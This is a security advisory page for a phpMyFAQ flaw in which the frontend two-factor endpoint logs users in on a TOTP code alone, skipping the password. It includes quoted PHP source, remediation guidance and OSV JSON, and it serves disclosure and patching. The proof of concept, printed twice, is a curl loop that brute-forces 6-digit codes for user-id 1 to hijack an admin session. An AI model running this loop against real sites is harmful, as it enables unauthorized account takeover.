CVE-2026-56737: Thorsten/phpmyfaq PhpMyFAQ's Two-factor Authentication Login Bypasses Vulnerability

HIGH
Advisory Identifier: GHSA-8gpw-xvpf-hvx5
CVSS 8.1
CWE-287
Published
Advisory Summary

CVE-2026-56737 is a HIGH (CVSS 8.1) phpmyfaq's two-factor authentication login bypasses vulnerability (CWE-287: Improper Authentication) affecting Thorsten/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq's two-factor authentication login bypasses the password factor. Remediation is available by upgrading affected packages to version 4.1.6.

CVE-2026-56737 at a Glance

CVE Identifier CVE-2026-56737
GHSA Identifier GHSA-8gpw-xvpf-hvx5
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-287: Improper Authentication
Affected Product Thorsten/phpmyfaq
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-56737

To remediate this vulnerability, upgrade all affected Thorsten/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

thorsten/phpmyfaq fixed: 4.1.6
Upgrade thorsten/phpmyfaq to 4.1.6
phpmyfaq/phpmyfaq fixed: 4.1.6
Upgrade phpmyfaq/phpmyfaq to 4.1.6
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for thorsten/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-56737, inspect your project dependencies for Thorsten/phpmyfaq:

inspect dependencies for thorsten/phpmyfaq

Analyze the terminal output to locate any version of Thorsten/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-287: Improper Authentication, where when an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. In Thorsten/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid 6-digit TOTP token and a chosen `user-id`. It does **not** require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators. ### Details `src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`: ```php #[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); } $token = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS); $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT); if ($userId <= 0) { /* ... */ } $this->currentUserService->getUserById($userId); // loads attacker-chosen user if (strlen((string) $token) === 6) { $result = $this->twoFactor->validateToken($token, $userId); if ($result) { $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked return new RedirectResponse(url: './'); } } // ... } ``` `twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`): ```php public function twoFactorSuccess(): bool { $this->setLoggedIn(true); $this->updateSessionId(true); $this->saveToSession(); $this->setSuccess(true); return true; } ``` There is **no server-side state** (such as a "password already verified for this user" flag) tying the `/check` step to the password step. Compare the admin flow, which does it correctly via a `2fa_pending_user_id` session value set only **after** the password is validated (`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) — proving the frontend omission is a regression, not an intended design. `validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret, so this is *not* a universal bypass of all accounts — it specifically defeats the **password factor of every 2FA-enabled account**: ```php public function validateToken(string $token, int $userId): bool { if (strlen($token) !== 6 || $userId <= 0) { return false; } $this->currentUser->getUserById($userId); $secret = $this->currentUser->getUserData('secret'); if (!is_string($secret) || $secret === '') { return false; } // no 2FA -> false return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only } ``` Because `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to *strengthen* the password, becomes the *only* barrier and is independently guessable. ### PoC Pre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric `user-id` (1 = first/admin account in default installs). ```bash # No password required. Submit user-id + a 6-digit TOTP guess to /check. # Iterate the token space; the session cookie returned on success is an authenticated session. for code in $(seq -w 0 999999); do curl -ks -c jar.txt -b jar.txt \ -X POST "https://target/check" \ --data-urlencode "user-id=1" \ --data-urlencode "token=$(printf '%06d' 10#$code)" \ -o /dev/null -w "%{http_code} %{redirect_url}\n" \ | grep -q './' && echo "[+] logged in with token $code" && break done # A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used). ``` If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all. ### Impact Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.

CVE-2026-56737 Affected Thorsten/phpmyfaq Versions

2 component(s)
Fixed Versions:
4.1.6
Product / Package Ecosystem Affected Versions Fixed Version
thorsten/phpmyfaq
Packagist
≥ 3.2.0
< 4.1.6
4.1.6
phpmyfaq/phpmyfaq
Packagist
≥ 3.2.0
< 4.1.6
4.1.6

References

Frequently Asked Questions

What is CVE-2026-56737?
CVE-2026-56737 is a security vulnerability in Thorsten/phpmyfaq involving phpMyFAQ's two-factor authentication login bypasses the password factor under CWE-287: Improper Authentication.
Which Thorsten/phpmyfaq versions are affected?
Affected versions include releases prior to 4.1.6 across affected packages: thorsten/phpmyfaq, phpmyfaq/phpmyfaq.
What version fixes CVE-2026-56737?
Upgrading to 4.1.6 (or the latest patched release for your respective branch) resolves the vulnerability.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.1.6. Upgrade your dependency to 4.1.6 or later.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.1.6. Upgrade your dependency to 4.1.6 or later.
What is the CVSS score of CVE-2026-56737?
CVE-2026-56737 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-56737?
CVE-2026-56737 is classified under CWE-287: Improper Authentication (When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.).
How can I check Packagist dependencies for CVE-2026-56737?
Run the dependency tree command: 'inspect dependencies for thorsten/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8gpw-xvpf-hvx5",
  "modified" : "2026-09-24T19:29:28Z",
  "published" : "2026-09-24T19:29:27Z",
  "aliases" : [ "CVE-2026-56737" ],
  "summary" : "phpMyFAQ's two-factor authentication login bypasses the password factor",
  "details" : "### Summary\nThe public two-factor verification endpoint `POST /check` logs a user in based **solely** on a valid\n6-digit TOTP token and a chosen `user-id`. It does **not** require — and is not bound to — a prior\nsuccessful password authentication. For any account that has 2FA enabled, an unauthenticated attacker\ncan authenticate **without knowing the password**, reducing the account to a single factor (a 6-digit\ncode) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an\nauthentication bypass of the primary credential for all 2FA-protected accounts, including administrators.\n\n### Details\n`src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283`:\n\n```php\n#[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])]\npublic function check(Request $request): RedirectResponse\n{\n    if ($this->currentUser->isLoggedIn()) {\n        return new RedirectResponse(url: './');\n    }\n\n    $token  = Filter::filterVar($request->request->get('token'), FILTER_SANITIZE_SPECIAL_CHARS);\n    $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTER_VALIDATE_INT);\n\n    if ($userId <= 0) { /* ... */ }\n\n    $this->currentUserService->getUserById($userId);          // loads attacker-chosen user\n\n    if (strlen((string) $token) === 6) {\n        $result = $this->twoFactor->validateToken($token, $userId);\n        if ($result) {\n            $this->currentUserService->twoFactorSuccess();    // full login, no password ever checked\n            return new RedirectResponse(url: './');\n        }\n    }\n    // ...\n}\n```\n\n`twoFactorSuccess()` performs a complete session login (`src/phpMyFAQ/User/CurrentUser.php:239-247`):\n\n```php\npublic function twoFactorSuccess(): bool\n{\n    $this->setLoggedIn(true);\n    $this->updateSessionId(true);\n    $this->saveToSession();\n    $this->setSuccess(true);\n    return true;\n}\n```\n\nThere is **no server-side state** (such as a \"password already verified for this user\" flag) tying the\n`/check` step to the password step. Compare the admin flow, which does it correctly via a\n`2fa_pending_user_id` session value set only **after** the password is validated\n(`src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262`) — proving the frontend\nomission is a regression, not an intended design.\n\n`validateToken()` (`src/phpMyFAQ/User/TwoFactor.php:87-101`) returns `false` when the user has no secret,\nso this is *not* a universal bypass of all accounts — it specifically defeats the **password factor of\nevery 2FA-enabled account**:\n\n```php\npublic function validateToken(string $token, int $userId): bool\n{\n    if (strlen($token) !== 6 || $userId <= 0) { return false; }\n    $this->currentUser->getUserById($userId);\n    $secret = $this->currentUser->getUserData('secret');\n    if (!is_string($secret) || $secret === '') { return false; }   // no 2FA -> false\n    return $this->twoFactorAuth->verifyCode($secret, $token);       // 6-digit TOTP only\n}\n```\n\nBecause `/check` has no failed-attempt lockout and the per-account login throttle is disabled by default\n(Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to\n*strengthen* the password, becomes the *only* barrier and is independently guessable.\n\n### PoC\nPre-req: a target account (e.g. `admin`) has 2FA enabled (a common hardening choice). The attacker knows\nor enumerates the numeric `user-id` (1 = first/admin account in default installs).\n\n```bash\n# No password required. Submit user-id + a 6-digit TOTP guess to /check.\n# Iterate the token space; the session cookie returned on success is an authenticated session.\nfor code in $(seq -w 0 999999); do\n  curl -ks -c jar.txt -b jar.txt \\\n    -X POST \"https://target/check\" \\\n    --data-urlencode \"user-id=1\" \\\n    --data-urlencode \"token=$(printf '%06d' 10#$code)\" \\\n    -o /dev/null -w \"%{http_code} %{redirect_url}\\n\" \\\n  | grep -q './'   && echo \"[+] logged in with token $code\" && break\ndone\n# A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used).\n```\nIf the attacker already controls or has phished the victim's TOTP device, a single request authenticates\nwith no password at all.\n\n### Impact\nAuthentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password —\nthe primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout,\nthis enables full account takeover of users and administrators. Impacted: any deployment where users\nenable two-factor authentication.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.2.0"
      }, {
        "fixed" : "4.1.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.2.0"
      }, {
        "fixed" : "4.1.6"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-8gpw-xvpf-hvx5"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-56737"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/commit/410208b90f1d01534812ac5203d3e8d9c7bd591f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/commit/5097dff341fb01e93e8561e7261b3ae657df715a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/commit/6a69f6e2142fde722165c65b7e0a49f3176e87be"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-287" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-24T19:29:27Z",
    "nvd_published_at" : "2026-09-24T16:17:07Z"
  }
}